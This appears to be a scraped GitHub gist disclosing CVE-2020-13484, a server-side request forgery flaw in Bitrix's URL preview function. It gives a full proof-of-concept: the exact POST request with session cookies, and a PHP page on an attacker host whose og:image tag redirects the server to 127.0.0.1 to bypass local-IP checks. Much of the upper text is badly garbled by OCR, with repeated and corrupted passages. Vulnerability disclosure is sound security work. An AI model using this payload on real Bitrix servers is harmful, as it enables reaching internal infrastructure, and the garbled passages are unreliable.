mariuszpoplwski / CVE-2020-13484

Last active last year

☆ Star

<> Code → Revisions 2 ☆Stars 3

Host: 192.168.1.24 33 Origin: http://192.168.1.24 44 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 55 Bx-ajax: true 66 Accept: */* 77 Referer: http://192.168.1.24/stream/ 78 Accept-Encoding: gzip, deflate 79 Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7	○ CVE-2020-13484			
## https://gist.github.com/nor/uszopolauski/NeiDecelPoseTrDecelsendos2299 ### ## ## ## ## ## ## ## ## ## ## ## #		CVE-2820-13484		
## ## ## ## ## ## ## ## ## ## ## ## ##		httos://gist.github.com/mariusznonlawski/26e1fhde8f9a607478hee1de90daa329		
attribude through 20.0.375 allows 550F via an intranet IP address in the services/main/play.publiction-iterachin/breaks and parameters, 1f the destination will hearts and the decement containing "uness name-organized" content—"followed by an intranet ult. [Additional Information] Vulnerability allow us to trigger content—"followed by an intranet ult. [Additional Information] Vulnerability allow us to trigger serve-side request forgery to reacts addresses and excess vulnerability in this functionality allowed us to addresses and excess vulnerability in this functionality allowed us to addresses and excess vulnerability in this functionality allowed us to addresses and excess vulnerability in this functionality allowed us to addresses and excess vulnerability in this functionality allowed us to addresses and excess vulnerability in the functionality allowed us to addresses and excess vulnerability in the functionality allowed us to addresses and addresses and premary because the temporal Information of the second request to information and trigger and generate second request to information allowed and "land" in trigger and generate second request to information allowed and "land" in trigger and generate second request to information allowed and "land" in the second request and generate second request to information and trigger second SSM. The second request us not premary blocked for "land" 17-19. To generate SSM as mead to trigger following request: 10				
### String Strong 20.8.075 pilos 500 via an intrant ID address in the services/main/jax.phplaction=stratus:Provide unit parameter, if the destination URL hosts an HTML document containing (containing Contain merity Engineer) contents of the destination URL hosts an HTML document containing (containing Contain merity Engineer) [### Containing Allow us to trigger server-side request forgery to remote addresses and second valuerability in this functionality allowed us to bypass retrictions and generate there request the lipsaced policy of lead ID block, we were able to generate requests in internal infrastrictions and generate there requests the internal infrastrictions and generate there requests the internal infrastrictions and generate there requests the internal infrastrictions and generate the requests the placed us only some remote requests. Then we manipulated the paramet to parso on HTML page and generate second request to internal bities core at server side. Strink ass printing gaingast tass, this beyone core at server side. Strink ass printing gaingast tass, this beyone color displaced requests ass printing gaingast tass, this beyone color displaced requests assigning gaingast tass, this and part of the color of the c				
Intersections of the content of the				
the destination URL motes a milk document the destination URL motes a milk document containing "mate names" ogizage" contents." followed by an intranet URL. diditional Information Mulmendilty allow to trigger server-side request frogray to remote Mulmendilty allow to trigger server-side request frogray to remote sidescess and accord wincerolity in this functionality allowed us to bypass restrictions and generate other request that bypassed palicy of local Policy. We are abile to generate request that bypassed palicy of local Policy. We are abile to generate request that physical palicy of local Policy. We are abile to generate request that internal inforstructure. In first stage we have found SSSF that allowed us not bypassed remote request. These we assiphated the parce to parce by milk page and generate section request to internal bitrias care at server Side. Bitria was praing grainage tags. URL was served of the request. The section request was not proposely checked for "local" PPs. To generate SSFF we need to tragger following request: Not / Striv/services/main/gias.phplaction-strackbi-live/seadshma_action-yabulidg_preview-yabide_step-sladatin_section-Vishew_carde_stail-vish Not / Striv/services/main/gias.phplaction-strackbi-live/seadshma_action-yabulidg_preview-yabide_step-sladatin_section-Vishew_carde_stail-vish in section request was not proposely checked for "local" PPs. Not / Striv/services/main/gias.phplaction-strackbi-live/seadshma_action-yabulidg_preview-yabide_step-sladatin_section-Vishew_carde_stail-vish Not / Striv/services/main/gias.phplaction-strackbi-live/seadshma_action-yabulidg_preview-yabide_step-sladatin_section-Vishew_carde_stail-vish Not / Striv/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gias.phplaction-strackbi-live/services/main/gi				
to destination URL hosts an HTML document containing "orate name-opisage" content="" followed by an Entranet URL. [Additional Information] [Addit				
[Additional Information] [Additional Informati				
		containing ' <meta aja.php.actton="action=acttachDreviewAdono_action=acti</th" aja.php?action-acttachdreviewadono_actions-ydbuildd_preview-yddie_step-naddin_section="YdBohou." aja.php?actton="acttachDreviewAdono_actions-ydBohou." content="' followed by an intranet URL.</th></tr><tr><th> Mailtional Information </th><th></th><th></th></tr><tr><th>Juderselity allow us to trigger server-side request forger to remote addresses and second valeneability in this functionality allowed us to Juscal Place, we were able to generate request that bypassed policy of Jocal Place, we were able to generate requests in internal Infrastructure. In first stage we have found SSF that allowed us only send remote requests. Then we manipulated the parser to parse our HTML page and generate second request to internal bitrix core at server lide, Bitrix was praing quisage tap, blus way we could reguer second SSM. The second request was not properly observed for " ip's:="" local"="" name="og:image" projece="" rites="" roing="" rost=""/> <th></th> <th></th>		
and addresses and second valuementality in this functionality allowed us to puppes reprintations and generate requests in internal infrastructure. In first stage we have found SSMF that allowed us only send recote requests. Then we ammigulated the purser to purse our HTML pages and generate second request to internal bitris core at sorver side. Bitris us as praing agitage tags, this way we could trigger scrood SSMR. The second requests the internal bitris core at sorver side. Bitris second requests the internal bitris core at sorver side. Bitris second request to internal bitris core at sorver side. Bitris second request to internal bitris core at sorver side. To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following request: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger following requests: To generate SSMF we need to trigger generate for gene				
Informative. In				
Infrastructure. In first stage we have found SSEF that allowed us only send remote requests. Then we manipulated the parser to parse our HTML page and generate second request to internal birtis core at server side. Bitris awa pring elimage tags, this way we could trigger second SSEF. The second request was not properly checked for "local" IP's. To generate SSEF we need to trigger foliowing request: To generate SSEF we need to trigger foliowing request: To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request: Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generate SSEF we need to trigger foliowing request. Notice 12.66.1.24 To generat		bypass restrictions and generate other request that bypassed policy of		
In first stage we have found SSBF that allowed us only send recore requests. Then we manipulated the parser to parse our HTML page and generate scord request to internal bitis: core at server side. Bitis as prising og:image tags, this way we could trigger scord SSBF. The second request to internal bitis: Could' IP's. To generate SSBF we need to trigger following request: To generate SSBF we need to trigger following request: To generate SSBF we need to trigger following request: To generate SSBF we need to trigger following request: POST /Pitrix/services/main/ajax.php?attion=attackOriPreviewSchow_actions=y8buildd_previewsy8die_step=38abmin_sectionsv%show_cache_stative Not: 192.188.1.24 User-Agent: Mozilla/s.6 (Mccintosh; Intel Nac OS X 18_15_4) AppleWebKIT/S37.36 (DSTML, like Gecko) Chrome/NB.8.9397.163 Safarl/S37.36 Bx-ajas: true Accept: Interpi/192.168.1.24/stream/ Accept: Accept: Agency in the part of th				
An expects. Then we manipulated the parser to parse our iMTM, page and generate scool request to internal bitis: core at server side. Bitis: as prising egitage tags, this way we could trigger second SSB. The second request was not properly checked for "local" IP's. BOST /Antivi/services/main/jax.php?action-attachirlPreviewSchow_actions-yBbuildd_preview-yBdie_step-3%admin_section-YBshow_cache_stativi BOST /Antivi/section-yBshow_cache_stativi BOST /Antivi/section-yBshow_cache_sta		AIII asti ucture.		
percent excount request to internal litrix core at server side. Bitrix as profile grimage tags, this way we could brigger second SSSF. The second request was not properly checked for "local" IP's. To generate SSFF we need to trigger following request: POST /bitrix/services/main/ajax.php?atcion-attachUniPreviewSshow_actions-ysbuildd_previewsyddie_step=3Badmin_section=YBahow_cache_stati=NB				
second request was not properly checked for "local" IP's. second request was not properly checked for "local" IP's. POST /Ditrix/services/anin/ajax.php?action=attachUPlPreviewSchow_actions=ydbuildd_preview-yddie_step=3&admin_section=V&show_cache_stativM_note: 192,108.1.24 services in the form of the fo				
To generate SSBF we need to trigger following request: 70 generate SSBF we need to trigger following request: 81		was prsing og:image tags, this way we could triggeer second SSRF. The		
To generate SSEF we need to trigger following request: POST /hitrix/services/main/ajax.php?action=attachUn!PreviewSchow_actions=yBoulldd_previewsyBdie_step=3&admin_section=VSchow_cache_stati=VB		second request was not properly checked for "local" IP's.		
DOST /bitrix/services/main/ajax.phpPaction=attachUnlPreviewSchow_actions-y8buildd_preview-y8die_step=38admin_section=V8chow_cache_stativid_step=38admin_section=V8chow_cache_stativid_step=38admin_section=V8chow_cache_stativid_step=38admin_section=V8chow_cache_stativid_step=38admin_section=V8chow_cache_stativid_step=32admin_section=V8chow_cache_stativid_step=32admin_section=V8chow_cache_stativid_step=32admin_section=V8chow_cache_stativid_step=32admin_section=V8chow_cache_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section=V8chow_cache_stativid_stativid_station_section_v8chow_cache_stativid_stativid_station_section_v8chow_cache_stativid_station_v8chow_cache_stativid_station_v8chow_cache_stativid_station_v		To generate SSRF we need to trigger following request:		
Not: 197.188.1.24 Not: 197.188.1.24 User-Agent: Mcrills/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleMebKit/537.36 (MTML, like Gecko) Chrome/80.0.3587.163 Safari/537.36 Sharjan: true Accept: http://j122.168.1.24/stream/ Accept-Lenguage: pl-PL_pl:pd-9.9;en-US;q-0.8;en:g-0.7 Cookie: SITRIX_ST_MTE_COME=-10; SITRIX_SM_SALE_UID-0; SITRIX_SM_SOUND_LOGIN_PLAYED-V; PMPSESSID-btu7ccklirm51hsgs4Sakh5dma; SITRIX_SM_NC Connection: close Connection: close Connection: pl-PL_pl:pd-9.9;en-User-Ord				
Joseph Homelia (Content Type: text/html); } Order (Content Type: application/x-wew-form-urlencoded Content-Type: application/		POST /bitrix/services/main/ajax.php?action=attachUrlPreview&show_actions=y&buildd_preview=y¨_step=3&admin_section=Y&show_cache_stat1=Y&c Host: 192.168.1.24		
8. Reajax: true Accept: */* Referer: http://192.168.1.24/stream/ Accept.Encoding: gizlp, deflate Connetion: close Content: ocione Connetion: close Content.tength: 22 44 45 url=http://OurMPS/bst/index.php?id=1 46 47 **OurMPS/bst/index.php?id=1 48 **OurMPS/bst/index.php?id=1 49 **Cphp header(Content-Type: text/intml'); ?) 50 51 **Centa name="Og:image" content="nttp://127.0.8.1/fake_img.php"/				
Accept: "/" Referen: http://192.168.1.24/stream/ Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate Connection: close Connection: close Connection: close Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 url-http://OurVPSHost/index.php?id-1 "OurVPSHost" host index.php file:				
Accept-Encoding: gzip, deflate Accept-Language: pl.Pt.pl.;q=0.9,en.US;q=0.8,en;q=0.7 Cookie: SITNIY.9q.TIME_ZONE=-128; BITRIX_Sq_SALE_UID=0; BITRIX_Sq_SOND_LOGIN_PLAYED=Y; PMPSESSID=btu7cckiirm5ihsgs45akh5dma; BITRIX_Sq_NNC Connection: close Content-type: application/x-www-form-urlencoded Content-tuppe: application/x-www-form-urlencoded Content-tuppe: 20 deflate "Out*PSNost* host index.php?id=1 "Out*PSNost* host index.php?id=2 "Out*PSNost* host index.php?id=1 "Out*PSNost* host index.php?id				
Accept-Language: 10-PL_pl;q-0.9, pen-Us;q-0.8, ensige-0.7 Coonie: BITRIX_SM_TIME_ZOME—1208: BITRIX_SM_SALE_UID=0; BITRIX_SM_SOUND_LOGIN_PLAYED=Y; PMPSESSID=btu7ccklirm5lhsgsd5akh5dma; BITRIX_SM_SM_NOUND_LOGIN_PLAYED=Y; PMPSESSID=btu7ccklirm5lhsgsd5akh5dma; BITRIX_SM_NOUND_LOGIN_PLAYED=Y; PMPSESSID=Ptu7ccklirm5lhsgsd5akh5dma; BITRIX_SM_NOUND_LOGIN_PLAYED=Y; PMPSESSID=Ptu7ccklirm5lhsgsd5akh5dma; BITRIX_SM_NOUND_LOGIN_PLAYED=Y; PMPSESSID=Ptu7ccklirm5lhsgsd5akh5dma; BITRIX_SM_NOUND_LOGIN_PLAYED=Y***********************************	37			
Cookie: BITRIX_SM_TIME_ZONE128; BITRIX_SM_SALE_UID-0; BITRIX_SM_SOUND_LOGIN_PLAYED-Y; PMPSESSID-btu7cckiirm5lhsgs45akh5dma; BITRIX_SM_M connection: close Content-type: application/x-waw-form-urlencoded Content-type: application/x-waw-form-urlencoded Content-length: 22 "url=http://QurVPSHost/index.php?id=1 ""OurVPSHost" host index.php file:				
Content-Type: application/x-waw-form-urlencoded Content-Length: 22 44 45 47 **OurVPSHost* host index.phpfid=1 48 47 **OurVPSHost* host index.php file: 48 49 40 40 40 40 40 40 40 40 40		Accept-Language: pi-rt,pi;q=0.9,en-us;q=0.8,en;q=0.7 Cookie: BITRIX_SM_TIME_ZONE=-120; BITRIX_SM_SALE_UID=0; BITRIX_SM_SOUND_LOGIN_PLAYED=Y; PHPSESSID=btu7cck1irm51hsgs45akh5dma; BITRIX_SM_NCC		
Content-Length: 22 du unl=http://JourVPSHost/index.php?id=1 unl=http://JourVPSHost* host index.php file:				
url=http://OurvPSHost/index.php?id=1 "OurvPSHost" host index.php?id=1 "OurvPSHost" host index.php file: "OurvPSHost" host index.php file: "C?php header('Content-Type:text/html'); ?> "Out of the index of the index.php file: "Out of the index.php index.php index.php"/ "Out of the index.php index.php index.php." "Out of the index.php index.php index.php. This "Out of the index.php index.php index.php. This "Out of the index.php index.php index.php. This "Out of the index.php index.				
"OurVPSHost" host index.php file:		Content-Length, 22		
"OurVPSHost" host index.php file:		url=http://OurVPSHost/index.php?id=1		
<pre>c?php header('Content-Type:text/html'); ?> meta name="og:image" content="http://127.0.0.1/fake_img.php"/ </pre>		"OurVPSHost" host index.php file:		
<pre>cmeta name="og::mage" content="http://127.0.0.1/fake_img.php"/ content="intent content co</pre>				
<pre>cmeta name="og:image" content="http://127.0.0.1/fake_img.php"/</pre>		<pre><?php header('Content-Type:text/html'); ?></pre>		
Vulnerability send second SSRF, first one do not allow send internal request but the HTML parser parse our og:image tag and send internal request by redirecting bitrix server to 127.0.8.1/fake_img.php. This way we are able to bypass the restrictions of bitrix core. [VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] Ic-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function		<pre><meta <="" content="http://127.0.0.1/fake_img.php" name="og:image" pre=""/></pre>		
Vulnerability send second SSRF, first one do not allow send internal request but the HTML parser parse our og:image tag and send internal request by redirecting bitrix server to 127.0.0.1/fake_img.php. This way we are able to bypass the restrictions of bitrix core. [VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] Ic-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function				
request by redirecting bitrix server to 127.0.0.1/fake_img.php. This way we are able to bypass the restrictions of bitrix core. [VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] 1c-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function		Vulnerability send second SSRF, first one do not allow send internal		
way we are able to bypass the restrictions of bitrix core. Sample Samp				
[VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] Ic-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function				
[VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] Ic-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 28.8.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function		.,		
[VulnerabilityType Other] Unauthorized server side request forgery, bypass domain whitelist [Vendor of Product] Ic-bitrix.ru, bitrix24.net [Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function				
Unauthorized server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server side request forgery, bypass domain whitelist It is a server ser		[VulnerabilityType Other]		
[Vendor of Product] 1c-bitrix.ru, bitrix24.net [Reffected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function	62			
[Vendor of Product] 1c-bitrix.ru, bitrix24.net [Refected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function				
1 c-bitrix.ru, bitrix24.net 1				
[Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function				
70 71 [Affected Product Code Base] 81trix and 81trix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch 73 74 75 76 [Affected Component] 77 Main core URLPreview function 78 79 80		ic-ditrix.ru, ditrix24.net		
[Affected Product Code Base] Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch [Affected Component] Main core URLPreview function [Affected Component]				
Bitrix and Bitrix Cloud instances affected - up to security update (main 28.8.975), reported and fixed in latest patch Component Component		[Afforted Deadurt Code Pare]		
74		·		
75 76 [Affected Component] 77 Main core URLPreview function 78 79 80				
76 [Affected Component] 77 Main core URLPreview function 78				
78 79				
79		Main core URLPreview function		
81 [Attack Type]				
	81	[АТТАСК ІУРЕ]		

85 87 [CVE Impact Other] Force server side request forgery 89 90 91 92 93 94 95 [Attack Vectors] To exploit vulnerability attacker need access to the website, valid unauth session and CSRF token - all can be generated w/o any privileges, no additional requirements needed. 97 98 99 [Has vendor confirmed or acknowledged the vulnerability?] [Discoverer] Mariusz Poplawski (afine.pl) https://www.bitrix24.com/prices/self-hosted.php https://www.bitrix24.com/security/ 113 Mariusz Popłwski / AFINE.com team

